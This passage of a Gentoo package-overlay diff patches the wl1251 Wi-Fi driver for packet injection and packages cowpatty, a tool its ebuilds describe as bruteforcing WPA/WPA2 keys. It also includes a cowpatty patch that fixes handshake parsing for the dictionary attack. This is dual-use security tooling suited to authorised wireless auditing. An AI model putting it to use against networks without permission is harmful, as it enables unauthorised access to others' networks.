++	}
++
+ 	wl1251_debugfs_init(wl);
+ 	wl1251_notice("initialized");
+ 
+@@ -1357,10 +1601,12 @@
+ 
+ 	skb_queue_head_init(&wl->tx_queue);
+ 
+-	INIT_WORK(&wl->filter_work, wl1251_filter_work);
+ 	INIT_DELAYED_WORK(&wl->elp_work, wl1251_elp_work);
+ 	wl->channel = WL1251_DEFAULT_CHANNEL;
++	wl->monitor_present = false;
++	wl->joined = false;
+ 	wl->scanning = false;
++	wl->bss_type = MAX_BSS_TYPE;
+ 	wl->default_key = 0;
+ 	wl->listen_int = 1;
+ 	wl->rx_counter = 0;
+@@ -1372,11 +1618,14 @@
+ 	wl->elp = false;
+ 	wl->psm = 0;
+ 	wl->psm_requested = false;
++	wl->psm_entry_retry = 0;
+ 	wl->tx_queue_stopped = false;
+ 	wl->power_level = WL1251_DEFAULT_POWER_LEVEL;
++	wl->rssi_thold = 0;
+ 	wl->beacon_int = WL1251_DEFAULT_BEACON_INT;
+ 	wl->dtim_period = WL1251_DEFAULT_DTIM_PERIOD;
+ 	wl->vif = NULL;
++	wl->bt_coex_mode = WL1251_BT_COEX_OFF;
+ 
+ 	for (i = 0; i < FW_TX_CMPLT_BLOCK_SIZE; i++)
+ 		wl->tx_frames[i] = NULL;
+@@ -1416,6 +1665,8 @@
+ 
+ 	wl1251_debugfs_exit(wl);
+ 
++	platform_device_unregister(&wl1251_device);
++
+ 	kfree(wl->target_mem_map);
+ 	kfree(wl->data_path);
+ 	vfree(wl->fw);
+diff -Naur compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/ps.c compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/ps.c
+--- compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/ps.c	2011-01-13 02:06:39.000000000 +0100
++++ compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/ps.c	2011-08-23 17:07:03.000000000 +0200
+@@ -153,6 +153,11 @@
+ 		if (ret < 0)
+ 			return ret;
+ 
++		ret = wl1251_acx_bet_enable(wl, WL1251_ACX_BET_ENABLE,
++					    WL1251_DEFAULT_BET_CONSECUTIVE);
++		if (ret < 0)
++			return ret;
++
+ 		ret = wl1251_cmd_ps_mode(wl, STATION_POWER_SAVE_MODE);
+ 		if (ret < 0)
+ 			return ret;
+@@ -170,6 +175,12 @@
+ 		if (ret < 0)
+ 			return ret;
+ 
++		/* disable BET */
++		ret = wl1251_acx_bet_enable(wl, WL1251_ACX_BET_DISABLE,
++					    WL1251_DEFAULT_BET_CONSECUTIVE);
++		if (ret < 0)
++			return ret;
++
+ 		/* disable beacon filtering */
+ 		ret = wl1251_acx_beacon_filter_opt(wl, false);
+ 		if (ret < 0)
+diff -Naur compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/rx.c compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/rx.c
+--- compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/rx.c	2011-01-13 02:06:39.000000000 +0100
++++ compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/rx.c	2011-08-23 17:07:16.000000000 +0200
+@@ -82,7 +82,7 @@
+ 
+ 	status->flag |= RX_FLAG_TSFT;
+ 
+-	if (desc->flags & RX_DESC_ENCRYPTION_MASK) {
++	if (!wl->monitor_present && (desc->flags & RX_DESC_ENCRYPTION_MASK)) {
+ 		status->flag |= RX_FLAG_IV_STRIPPED | RX_FLAG_MMIC_STRIPPED;
+ 
+ 		if (likely(!(desc->flags & RX_DESC_DECRYPT_FAIL)))
+@@ -95,8 +95,54 @@
+ 	if (unlikely(!(desc->flags & RX_DESC_VALID_FCS)))
+ 		status->flag |= RX_FLAG_FAILED_FCS_CRC;
+ 
++	switch (desc->rate) {
++		/* skip 1 and 12 Mbps because they have same value 0x0a */
++	case RATE_2MBPS:
++		status->rate_idx = 1;
++		break;
++	case RATE_5_5MBPS:
++		status->rate_idx = 2;
++		break;
++	case RATE_11MBPS:
++		status->rate_idx = 3;
++		break;
++	case RATE_6MBPS:
++		status->rate_idx = 4;
++		break;
++	case RATE_9MBPS:
++		status->rate_idx = 5;
++		break;
++	case RATE_18MBPS:
++		status->rate_idx = 7;
++		break;
++	case RATE_24MBPS:
++		status->rate_idx = 8;
++		break;
++	case RATE_36MBPS:
++		status->rate_idx = 9;
++		break;
++	case RATE_48MBPS:
++		status->rate_idx = 10;
++		break;
++	case RATE_54MBPS:
++		status->rate_idx = 11;
++		break;
++	}
++
++	/* for 1 and 12 Mbps we have to check the modulation */
++	if (desc->rate == RATE_1MBPS) {
++		if (!(desc->mod_pre & OFDM_RATE_BIT)) {
++			/* CCK -> RATE_1MBPS */
++			status->rate_idx = 0;
++		} else {
++			/* OFDM -> RATE_12MBPS */
++			status->rate_idx = 6;
++		}
++	}
+ 
+-	/* FIXME: set status->rate_idx */
++	if (desc->mod_pre & SHORT_PREAMBLE_BIT) {
++		status->flag |= RX_FLAG_SHORTPRE;
++	}
+ }
+ 
+ static void wl1251_rx_body(struct wl1251 *wl,
+diff -Naur compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/tx.c compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/tx.c
+--- compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/tx.c	2011-01-13 02:06:39.000000000 +0100
++++ compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/tx.c	2011-08-23 17:07:28.000000000 +0200
+@@ -28,6 +28,7 @@
+ #include "tx.h"
+ #include "ps.h"
+ #include "io.h"
++#include "event.h"
+ 
+ static bool wl1251_tx_double_buffer_busy(struct wl1251 *wl, u32 data_out_count)
+ {
+@@ -89,8 +90,12 @@
+ 	/* 802.11 packets */
+ 	tx_hdr->control.packet_type = 0;
+ 
+-	if (control->flags & IEEE80211_TX_CTL_NO_ACK)
++	/* Also disable retry and ACK policy for injected packets */
++	if ((control->flags & IEEE80211_TX_CTL_NO_ACK) ||
++	    (control->flags & IEEE80211_TX_CTL_INJECTED)) {
++		tx_hdr->control.rate_policy = 1;
+ 		tx_hdr->control.ack_policy = 1;
++	}
+ 
+ 	tx_hdr->control.tx_complete = 1;
+ 
+@@ -213,16 +218,30 @@
+ 		wl1251_debug(DEBUG_TX, "skb offset %d", offset);
+ 
+ 		/* check whether the current skb can be used */
+-		if (!skb_cloned(skb) && (skb_tailroom(skb) >= offset)) {
+-			unsigned char *src = skb->data;
++		if (skb_cloned(skb) || (skb_tailroom(skb) < offset)) {
++			struct sk_buff *newskb = skb_copy_expand(skb, 0, 3,
++								 GFP_KERNEL);
++
++			if (unlikely(newskb == NULL)) {
++				wl1251_error("Can't allocate skb!");
++				return -EINVAL;
++			}
++
++			tx_hdr = (struct tx_double_buffer_desc *) newskb->data;
++
++			dev_kfree_skb_any(skb);
++			wl->tx_frames[tx_hdr->id] = skb = newskb;
++
++			offset = (4 - (long)skb->data) & 0x03;
++			wl1251_debug(DEBUG_TX, "new skb offset %d", offset);
++		}
+ 
+-			/* align the buffer on a 4-byte boundary */
++		/* align the buffer on a 4-byte boundary */
++		if (offset) {
++			unsigned char *src = skb->data;
+ 			skb_reserve(skb, offset);
+ 			memmove(skb->data, src, skb->len);
+ 			tx_hdr = (struct tx_double_buffer_desc *) skb->data;
+-		} else {
+-			wl1251_info("No handler, fixme!");
+-			return -EINVAL;
+ 		}
+ 	}
+ 
+@@ -273,6 +292,9 @@
+ 	info = IEEE80211_SKB_CB(skb);
+ 
+ 	if (info->control.hw_key) {
++		if (unlikely(wl->monitor_present))
++			return -1;
++
+ 		idx = info->control.hw_key->hw_key_idx;
+ 		if (unlikely(wl->default_key != idx)) {
+ 			ret = wl1251_acx_default_key(wl, idx);
+@@ -281,6 +303,22 @@
+ 		}
+ 	}
+ 
++	/* Enable tx path in monitor mode for packet injection */
++	if ((wl->vif == NULL) && !wl->joined) {
++		ret = wl1251_cmd_join(wl, BSS_TYPE_STA_BSS, wl->channel,
++				      wl->beacon_int, wl->dtim_period);
++		if (ret < 0)
++			wl1251_warning("join failed");
++		else {
++			ret = wl1251_event_wait(wl, JOIN_EVENT_COMPLETE_ID,
++						100);
++			if (ret < 0)
++				wl1251_warning("join timeout");
++			else
++				wl->joined = true;
++		}
++	}
++
+ 	ret = wl1251_tx_path_status(wl);
+ 	if (ret < 0)
+ 		return ret;
+@@ -368,7 +406,7 @@
+ {
+ 	struct ieee80211_tx_info *info;
+ 	struct sk_buff *skb;
+-	int hdrlen, ret;
++	int hdrlen;
+ 	u8 *frame;
+ 
+ 	skb = wl->tx_frames[result->id];
+@@ -380,6 +418,7 @@
+ 	info = IEEE80211_SKB_CB(skb);
+ 
+ 	if (!(info->flags & IEEE80211_TX_CTL_NO_ACK) &&
++	    !(info->flags & IEEE80211_TX_CTL_INJECTED) &&
+ 	    (result->status == TX_SUCCESS))
+ 		info->flags |= IEEE80211_TX_STAT_ACK;
+ 
+@@ -407,40 +446,12 @@
+ 	ieee80211_tx_status(wl->hw, skb);
+ 
+ 	wl->tx_frames[result->id] = NULL;
+-
+-	if (wl->tx_queue_stopped) {
+-		wl1251_debug(DEBUG_TX, "cb: queue was stopped");
+-
+-		skb = skb_dequeue(&wl->tx_queue);
+-
+-		/* The skb can be NULL because tx_work might have been
+-		   scheduled before the queue was stopped making the
+-		   queue empty */
+-
+-		if (skb) {
+-			ret = wl1251_tx_frame(wl, skb);
+-			if (ret == -EBUSY) {
+-				/* firmware buffer is still full */
+-				wl1251_debug(DEBUG_TX, "cb: fw buffer "
+-					     "still full");
+-				skb_queue_head(&wl->tx_queue, skb);
+-				return;
+-			} else if (ret < 0) {
+-				dev_kfree_skb(skb);
+-				return;
+-			}
+-		}
+-
+-		wl1251_debug(DEBUG_TX, "cb: waking queues");
+-		ieee80211_wake_queues(wl->hw);
+-		wl->tx_queue_stopped = false;
+-	}
+ }
+ 
+ /* Called upon reception of a TX complete interrupt */
+ void wl1251_tx_complete(struct wl1251 *wl)
+ {
+-	int i, result_index, num_complete = 0;
++	int i, result_index, num_complete = 0, queue_len;
+ 	struct tx_result result[FW_TX_CMPLT_BLOCK_SIZE], *result_ptr;
+ 	unsigned long flags;
+ 
+@@ -471,18 +482,22 @@
+ 		}
+ 	}
+ 
+-	if (wl->tx_queue_stopped
+-	    &&
+-	    skb_queue_len(&wl->tx_queue) <= WL1251_TX_QUEUE_LOW_WATERMARK){
++	queue_len = skb_queue_len(&wl->tx_queue);
+ 
+-		/* firmware buffer has space, restart queues */
++	if ((num_complete > 0) && (queue_len > 0)) {
++		/* firmware buffer has space, reschedule tx_work */
++		wl1251_debug(DEBUG_TX, "tx_complete: reschedule tx_work");
++		ieee80211_queue_work(wl->hw, &wl->tx_work);
++	}
++
++	if (wl->tx_queue_stopped &&
++	    queue_len <= WL1251_TX_QUEUE_LOW_WATERMARK) {
++		/* tx_queue has space, restart queues */
+ 		wl1251_debug(DEBUG_TX, "tx_complete: waking queues");
+ 		spin_lock_irqsave(&wl->wl_lock, flags);
+ 		ieee80211_wake_queues(wl->hw);
+ 		wl->tx_queue_stopped = false;
+ 		spin_unlock_irqrestore(&wl->wl_lock, flags);
+-		ieee80211_queue_work(wl->hw, &wl->tx_work);
+-
+ 	}
+ 
+ 	/* Every completed frame needs to be acknowledged */
+diff -Naur compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/wl1251.h compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/wl1251.h
+--- compat-wireless-2.6.37-4-sn.orig//drivers/net/wireless/wl1251/wl1251.h	2011-01-13 02:06:39.000000000 +0100
++++ compat-wireless-2.6.37-4-sn/drivers/net/wireless/wl1251/wl1251.h	2011-08-23 17:07:26.000000000 +0200
+@@ -92,13 +92,12 @@
+ 				       true);				\
+ 	} while (0)
+ 
+-#define WL1251_DEFAULT_RX_CONFIG (CFG_UNI_FILTER_EN |	\
+-				  CFG_BSSID_FILTER_EN)
++#define WL1251_DEFAULT_RX_CONFIG (CFG_UNI_FILTER_EN | \
++				  CFG_MC_FILTER_EN)
+ 
+ #define WL1251_DEFAULT_RX_FILTER (CFG_RX_PRSP_EN |  \
+ 				  CFG_RX_MGMT_EN |  \
+ 				  CFG_RX_DATA_EN |  \
+-				  CFG_RX_CTL_EN |   \
+ 				  CFG_RX_BCN_EN |   \
+ 				  CFG_RX_AUTH_EN |  \
+ 				  CFG_RX_ASSOC_EN)
+@@ -251,6 +250,12 @@
+ 	struct dentry *excessive_retries;
+ };
+ 
++enum wl1251_bt_coex_mode {
++	WL1251_BT_COEX_OFF,
++	WL1251_BT_COEX_ENABLE,
++	WL1251_BT_COEX_MONOAUDIO
++};
++
+ struct wl1251_if_operations {
+ 	void (*read)(struct wl1251 *wl, int addr, void *buf, size_t len);
+ 	void (*write)(struct wl1251 *wl, int addr, void *buf, size_t len);
+@@ -296,6 +301,8 @@
+ 	u8 bss_type;
+ 	u8 listen_int;
+ 	int channel;
++	bool monitor_present;
++	bool joined;
+ 
+ 	void *target_mem_map;
+ 	struct acx_data_path_params_resp *data_path;
+@@ -308,7 +315,6 @@
+ 	bool tx_queue_stopped;
+ 
+ 	struct work_struct tx_work;
+-	struct work_struct filter_work;
+ 
+ 	/* Pending TX frames */
+ 	struct sk_buff *tx_frames[16];
+@@ -363,12 +369,17 @@
+ 	/* PSM mode requested */
+ 	bool psm_requested;
+ 
++	/* retry counter for PSM entries */
++	u8 psm_entry_retry;
++
+ 	u16 beacon_int;
+ 	u8 dtim_period;
+ 
+ 	/* in dBm */
+ 	int power_level;
+ 
++	int rssi_thold;
++
+ 	struct wl1251_stats stats;
+ 	struct wl1251_debugfs debugfs;
+ 
+@@ -379,6 +390,8 @@
+ 
+ 	struct ieee80211_vif *vif;
+ 
++	enum wl1251_bt_coex_mode bt_coex_mode;
++
+ 	u32 chip_id;
+ 	char fw_ver[21];
+ 
+@@ -409,6 +422,8 @@
+ 
+ #define WL1251_DEFAULT_CHANNEL 0
+ 
++#define WL1251_DEFAULT_BET_CONSECUTIVE 10
++
+ #define CHIP_ID_1251_PG10	           (0x7010101)
+ #define CHIP_ID_1251_PG11	           (0x7020101)
+ #define CHIP_ID_1251_PG12	           (0x7030101)
+@@ -430,4 +445,7 @@
+ #define WL1251_PART_WORK_REG_START	REGISTERS_BASE
+ #define WL1251_PART_WORK_REG_SIZE	REGISTERS_WORK_SIZE
+ 
++#define WL1251_DEFAULT_LOW_RSSI_WEIGHT          10
++#define WL1251_DEFAULT_LOW_RSSI_DEPTH           10
++
+ #endif
+diff -Naur compat-wireless-2.6.37-4-sn.orig//net/wireless/chan.c compat-wireless-2.6.37-4-sn/net/wireless/chan.c
+--- compat-wireless-2.6.37-4-sn.orig//net/wireless/chan.c	2011-01-13 02:06:38.000000000 +0100
++++ compat-wireless-2.6.37-4-sn/net/wireless/chan.c	2011-08-23 17:07:37.000000000 +0200
+@@ -83,9 +83,6 @@
+ 	struct ieee80211_channel *chan;
+ 	int result;
+ 
+-	if (wdev && wdev->iftype == NL80211_IFTYPE_MONITOR)
+-		wdev = NULL;
+-
+ 	if (wdev) {
+ 		ASSERT_WDEV_LOCK(wdev);
+ 
+@@ -123,7 +120,9 @@
+ 	}
+ 
+ 	result = rdev->ops->set_channel(&rdev->wiphy,
+-					wdev ? wdev->netdev : NULL,
++					wdev && wdev->iftype !=
++						NL80211_IFTYPE_MONITOR ?
++							wdev->netdev : NULL,
+ 					chan, channel_type);
+ 	if (result)
+ 		return result;
diff --git a/net-wireless/compat-wireless/metadata.xml b/net-wireless/compat-wireless/metadata.xml
new file mode 100644
index 00000000..6e27c023
--- /dev/null
+++ b/net-wireless/compat-wireless/metadata.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<use>
+<flag name="injection">Add patches for better wifi injection support</flag>
+</use>
+</pkgmetadata>
diff --git a/net-wireless/cowpatty/Manifest b/net-wireless/cowpatty/Manifest
new file mode 100644
index 00000000..d7e9de0a
--- /dev/null
+++ b/net-wireless/cowpatty/Manifest
@@ -0,0 +1,7 @@
+AUX cowpatty-4.3-fixup2.patch 7550 RMD160 7b8bbb2266b69cf12290ac825f06efaf59b7c39c SHA1 0a42824828f3a91bb8a072b7210d9015205c096a SHA256 a5f1ea5429afd3a6cfc3509fdc564490f85f006258d11c5dc8b515d9490524e2
+AUX cowpatty-4.3-hashfix.patch 518 RMD160 7056eb376306bd086e7af8ca63f60799e5630cbf SHA1 10ee4c3796664c3f0a421e5f4901086d5985fd27 SHA256 a32d8dc367d858dda7bf557a9c01a5b9509aad04f4d0491100a1e42fdf749c72
+AUX cowpatty-4.6-fixup14.patch 12727 RMD160 fb2c3d60b5f07a9be4a25d7380ee1f33fc95a082 SHA1 635c09a981f30c9604f56497e71a451f00cc37f8 SHA256 49671af83ba4f6551e5b6e96e8036b0fba8929eda5917856c96643a1062a3db4
+DIST cowpatty-4.3.tgz 103720 RMD160 3eff935f1532f84c60bfd576801be4d6911964d1 SHA1 8b7cb2015d0534031827f2f06135bf5cf5929d35 SHA256 b82154c9183fed3c26226c124f5e50ef38adaaafc84c5a13d9256b1ebd489bca
+DIST cowpatty-4.6.tgz 104979 RMD160 643e9e675ec06f606c99729289692654ddcbe3b4 SHA1 2dc09d725e4131a68a33c8717d3a7317e5616df2 SHA256 cd3fc113e5052d3ee08ab71aa87edf772d044f760670c73fde5d5581d7803bc2
+EBUILD cowpatty-4.3-r2.ebuild 719 RMD160 7e905574beb66550f4d28e686e36cbed6d59927f SHA1 58524b3354f7a85684c27a9161bcadcfe13fc673 SHA256 816e5ed329658a9ff09d142a70015e879537022aef63ad4e1eb2b0d1d18227ff
+EBUILD cowpatty-4.6-r4.ebuild 670 RMD160 873dfed750509f50a4d7777cea257d72c078550e SHA1 61a4620a6f8568beaab0ea66cde4828de258533a SHA256 b9cf08fa1d839e9ba25e8ea65d20e208122b5ea7b397d3a2f323b48f23c4ccf0
diff --git a/net-wireless/cowpatty/cowpatty-4.3-r2.ebuild b/net-wireless/cowpatty/cowpatty-4.3-r2.ebuild
new file mode 100644
index 00000000..c60c8302
--- /dev/null
+++ b/net-wireless/cowpatty/cowpatty-4.3-r2.ebuild
@@ -0,0 +1,28 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+inherit eutils
+
+DESCRIPTION="WLAN tools for bruteforcing 802.11 WPA/WPA2 keys"
+HOMEPAGE="http://www.willhackforsushi.com/Cowpatty.html"
+SRC_URI="http://www.willhackforsushi.com/code/${PN}/${PV}/${P}.tgz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 x86"
+IUSE=""
+DEPEND="dev-libs/openssl
+	net-libs/libpcap"
+RDEPEND="${DEPEND}"
+
+src_compile() {
+	epatch "${FILESDIR}"/cowpatty-4.3-fixup2.patch
+	epatch "${FILESDIR}"/cowpatty-4.3-hashfix.patch
+	emake -j1 || die "emake failed"
+}
+
+src_install() {
+	dobin cowpatty genpmk  || die "dobin failed"
+	dodoc AUTHORS CHANGELOG FAQ INSTALL README TODO dict *.dump
+}
diff --git a/net-wireless/cowpatty/cowpatty-4.6-r4.ebuild b/net-wireless/cowpatty/cowpatty-4.6-r4.ebuild
new file mode 100644
index 00000000..7beab82e
--- /dev/null
+++ b/net-wireless/cowpatty/cowpatty-4.6-r4.ebuild
@@ -0,0 +1,28 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+inherit eutils
+
+DESCRIPTION="WLAN tools for bruteforcing 802.11 WPA/WPA2 keys"
+HOMEPAGE="http://www.willhackforsushi.com/?page_id=50"
+SRC_URI="http://www.willhackforsushi.com/code/${PN}/${PV}/${P}.tgz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 x86"
+IUSE=""
+
+DEPEND="dev-libs/openssl
+	net-libs/libpcap"
+RDEPEND="${DEPEND}"
+
+src_compile() {
+	epatch "${FILESDIR}"/cowpatty-4.6-fixup14.patch
+	emake -j1 || die "emake failed"
+}
+
+src_install() {
+	dobin cowpatty genpmk  || die "dobin failed"
+	dodoc AUTHORS CHANGELOG FAQ INSTALL README TODO dict *.dump
+}
diff --git a/net-wireless/cowpatty/files/cowpatty-4.3-fixup2.patch b/net-wireless/cowpatty/files/cowpatty-4.3-fixup2.patch
new file mode 100644
index 00000000..3ac75910
--- /dev/null
+++ b/net-wireless/cowpatty/files/cowpatty-4.3-fixup2.patch
@@ -0,0 +1,221 @@
+diff -uNr cowpatty-4.3/cowpatty.c cowpatty-4.3-fixup2/cowpatty.c
+--- cowpatty-4.3/cowpatty.c	2008-03-20 09:49:38.000000000 -0700
++++ cowpatty-4.3-fixup2/cowpatty.c	2009-05-21 23:38:17.970291072 -0700
+@@ -71,7 +71,7 @@
+ void cleanup();
+ void parseopts(struct user_opt *opt, int argc, char **argv);
+ void closepcap(struct capture_data *capdata);
+-void handle_dot1x(struct crack_data *cdata, struct capture_data *capdata);
++void handle_dot1x(struct crack_data *cdata, struct capture_data *capdata, struct user_opt *opt);
+ void dump_all_fields(struct crack_data cdata);
+ void printstats(struct timeval start, struct timeval end,
+ 		unsigned long int wordcount);
+@@ -389,7 +389,7 @@
+ 	return (ret);
+ }
+ 
+-void handle_dot1x(struct crack_data *cdata, struct capture_data *capdata)
++void handle_dot1x(struct crack_data *cdata, struct capture_data *capdata, struct user_opt *opt)
+ {
+ 	struct ieee8021x *dot1xhdr;
+ 	struct wpa_eapol_key *eapolkeyhdr;
+@@ -415,8 +415,8 @@
+ 	cdata->ver = key_info & WPA_KEY_INFO_TYPE_MASK;
+ 	index = key_info & WPA_KEY_INFO_KEY_INDEX_MASK;
+ 
+-	/* Check for EAPOL version 1, type EAPOL-Key */
+-	if (dot1xhdr->version != 1 || dot1xhdr->type != 3) {
++	/* Check for type EAPOL-Key */
++	if (dot1xhdr->type != 3) {
+ 		return;
+ 	}
+ 
+@@ -427,59 +427,78 @@
+ 
+ 	if (cdata->ver == WPA_KEY_INFO_TYPE_HMAC_MD5_RC4) {
+ 		/* Check for WPA key, and pairwise key type */
+-		if (eapolkeyhdr->type != 254 || 
++		if ((eapolkeyhdr->type != 2 && eapolkeyhdr->type != 254) || 
+ 				(key_info & WPA_KEY_INFO_KEY_TYPE) == 0) {
+ 			return;
+ 		}
+ 	} else if (cdata->ver == WPA_KEY_INFO_TYPE_HMAC_SHA1_AES) {
+-		if (eapolkeyhdr->type != 2 ||
++		if ((eapolkeyhdr->type != 2 && eapolkeyhdr->type != 254) ||
+ 				(key_info & WPA_KEY_INFO_KEY_TYPE) == 0) {
+ 			return;
+ 		}
+ 	}
+ 
++	if (opt->verbose > 2) {
++		printf ("WPA_KEY_INFO_TYPE_HMAC_MD5_RC4: %d\n", WPA_KEY_INFO_TYPE_HMAC_MD5_RC4);
++		printf ("WPA_KEY_INFO_TYPE_HMAC_SHA1_AES: %d\n", WPA_KEY_INFO_TYPE_HMAC_SHA1_AES);
++		printf ("key version: %d\n", cdata->ver);
++		printf ("eapol key header type: %d\n", eapolkeyhdr->type);
++	}
++
++	/* Check for frame 1 of the 4-way handshake */
++	if ((key_info & WPA_KEY_INFO_MIC) == 0 
++	   && (key_info & WPA_KEY_INFO_ACK)
++	   && (key_info & WPA_KEY_INFO_INSTALL) == 0 ) {
++                /* All we need from this frame is the authenticator nonce */
++		memcpy(cdata->anonce, eapolkeyhdr->key_nonce,
++			sizeof(cdata->anonce));
++		cdata->anonceset = 1;
++ 
+ 	/* Check for frame 2 of the 4-way handshake */
+-	if ((key_info & WPA_KEY_INFO_MIC) && (key_info & WPA_KEY_INFO_ACK) == 0
+-	    && (key_info & WPA_KEY_INFO_INSTALL) == 0
+-	    && eapolkeyhdr->key_data_length > 0) {
+-		/* All we need from this frame is the authenticator nonce */
+-		memcpy(cdata->snonce, eapolkeyhdr->key_nonce,
+-		       sizeof(cdata->snonce));
+-		cdata->snonceset = 1;
++	} else if ((key_info & WPA_KEY_INFO_MIC)
++	  && (key_info & WPA_KEY_INFO_INSTALL) == 0
++	  && (key_info & WPA_KEY_INFO_ACK) == 0
++	  && eapolkeyhdr->key_data_length > 0) {
+ 
+-	} else if (		/* Check for frame 3 of the 4-way handshake */
+-			  (key_info & WPA_KEY_INFO_MIC)
+-			  && (key_info & WPA_KEY_INFO_INSTALL)
+-			  && (key_info & WPA_KEY_INFO_ACK)) {
++		cdata->eapolframe_size = ( packet[capdata->dot1x_offset + 2] << 8 )
++				+   packet[capdata->dot1x_offset + 3] + 4;
+ 
+ 		memcpy(cdata->spa, &packet[capdata->dstmac_offset],
+-		       sizeof(cdata->spa));
+-		memcpy(cdata->aa, &packet[capdata->srcmac_offset],
+-		       sizeof(cdata->aa));
+-		memcpy(cdata->anonce, eapolkeyhdr->key_nonce,
+-		       sizeof(cdata->anonce));
+-		cdata->aaset = 1;
+-		cdata->spaset = 1;
+-		cdata->anonceset = 1;
+-		/* We save the replay counter value in the 3rd frame to match
+-		   against the 4th frame of the four-way handshake */
+-		memcpy(cdata->replay_counter, eapolkeyhdr->replay_counter, 8);
+-
+-	} else if (		/* Check for frame 4 of the four-way handshake */
+-			  (key_info & WPA_KEY_INFO_MIC)
+-			  && (key_info & WPA_KEY_INFO_ACK) == 0
+-			  && (key_info & WPA_KEY_INFO_INSTALL) == 0
+-			  &&
+-			  (memcmp
+-			   (cdata->replay_counter, eapolkeyhdr->replay_counter,
+-			    8) == 0)) {
++			sizeof(cdata->spa));
++       	        memcpy(cdata->aa, &packet[capdata->srcmac_offset],
++			sizeof(cdata->aa));
++		memcpy(cdata->snonce, eapolkeyhdr->key_nonce,
++			 sizeof(cdata->snonce));
++                cdata->aaset = 1;
++                cdata->spaset = 1;
++		cdata->snonceset = 1;
+ 
+ 		memcpy(cdata->keymic, eapolkeyhdr->key_mic,
+-		       sizeof(cdata->keymic));
++			sizeof(cdata->keymic));
+ 		memcpy(cdata->eapolframe, &packet[capdata->dot1x_offset],
+-		       sizeof(cdata->eapolframe));
++			cdata->eapolframe_size);
++
+ 		cdata->keymicset = 1;
+ 		cdata->eapolframeset = 1;
++
++	/* Check for frame 3 of the 4-way handshake */
++	}  else if ((key_info & WPA_KEY_INFO_MIC)
++		   && (key_info & WPA_KEY_INFO_ACK)
++		   && (key_info & WPA_KEY_INFO_INSTALL)) {
++		/* All we need from this frame is the authenticator nonce */
++		memcpy(cdata->anonce, eapolkeyhdr->key_nonce,
++			sizeof(cdata->anonce));
++		cdata->anonceset = 1;
++
++	}
++
++	if (opt->verbose > 2) {
++		printf("aaset: %d\n",cdata->aaset);
++		printf("spaset: %d\n",cdata->spaset);
++		printf("snonceset: %d\n",cdata->snonceset);
++	        printf("keymicset: %d\n",cdata->keymicset);
++	        printf("eapolframeset: %d\n",cdata->eapolframeset);
++	        printf("anonceset: %d\n", cdata->anonceset);
+ 	}
+ }
+ 
+@@ -507,8 +526,7 @@
+ 	printf("\n");
+ 
+ 	printf("eapolframe is:");
+-	lamont_hdump(cdata.eapolframe, 99);	/* Bug in lamont_hdump makes this look
+-						   wrong, only shows 98 bytes */
++		lamont_hdump(cdata.eapolframe, cdata.eapolframe_size);
+ 	printf("\n");
+ 
+ }
+@@ -706,7 +724,7 @@
+ 		}
+ 
+ 		hmac_hash(cdata->ver, ptkset->mic_key, 16, cdata->eapolframe,
+-			 sizeof(cdata->eapolframe), keymic);
++			cdata->eapolframe_size, keymic);
+ 
+ 		if (opt->verbose > 2) {
+ 			printf("Calculated MIC with \"%s\" is", passphrase);
+@@ -815,7 +833,7 @@
+ 		}
+ 
+ 		hmac_hash(cdata->ver, ptkset->mic_key, 16, cdata->eapolframe,
+-			 sizeof(cdata->eapolframe), keymic);
++			cdata->eapolframe_size, keymic);
+ 
+ 		if (opt->verbose > 2) {
+ 			printf("Calculated MIC with \"%s\" is", passphrase);
+@@ -874,7 +892,7 @@
+ 		    0 && (h->len >
+ 			capdata.l2type_offset + sizeof(struct wpa_eapol_key))) {
+ 			/* It's a dot1x frame, process it */
+-			handle_dot1x(&cdata, &capdata);
++			handle_dot1x(&cdata, &capdata, &opt);
+ 			if (cdata.aaset && cdata.spaset && cdata.snonceset &&
+ 			    cdata.anonceset && cdata.keymicset
+ 			    && cdata.eapolframeset) {
+@@ -909,7 +927,6 @@
+ 	eapkeypacket =
+ 	    (struct wpa_eapol_key *)&cdata.eapolframe[EAPDOT1XOFFSET];
+ 	memset(&eapkeypacket->key_mic, 0, sizeof(eapkeypacket->key_mic));
+-	eapkeypacket->key_data_length = 0;
+ 
+ 	printf("Starting dictionary attack.  Please be patient.\n");
+ 	fflush(stdout);
+diff -uNr cowpatty-4.3/cowpatty.h cowpatty-4.3-fixup2/cowpatty.h
+--- cowpatty-4.3/cowpatty.h	2008-03-20 09:49:38.000000000 -0700
++++ cowpatty-4.3-fixup2/cowpatty.h	2009-05-21 23:37:52.533281370 -0700
+@@ -94,7 +94,7 @@
+ 	u16 length;
+ } __attribute__ ((packed));
+ 
+-#define MAXPASSLEN 63
++#define MAXPASSLEN 64
+ #define MEMORY_DICT 0
+ #define STDIN_DICT 1
+ #define EAPDOT1XOFFSET 4
+@@ -166,7 +166,8 @@
+ 	u8 spa[6];
+ 	u8 snonce[32];
+ 	u8 anonce[32];
+-	u8 eapolframe[99];	/* Length the same for all packets? */
++	u8 eapolframe[99];
++	u8 eapolframe2[125];
+ 	u8 keymic[16];
+ 	u8 aaset;
+ 	u8 spaset;
+@@ -177,6 +178,7 @@
+ 	u8 replay_counter[8];
+ 
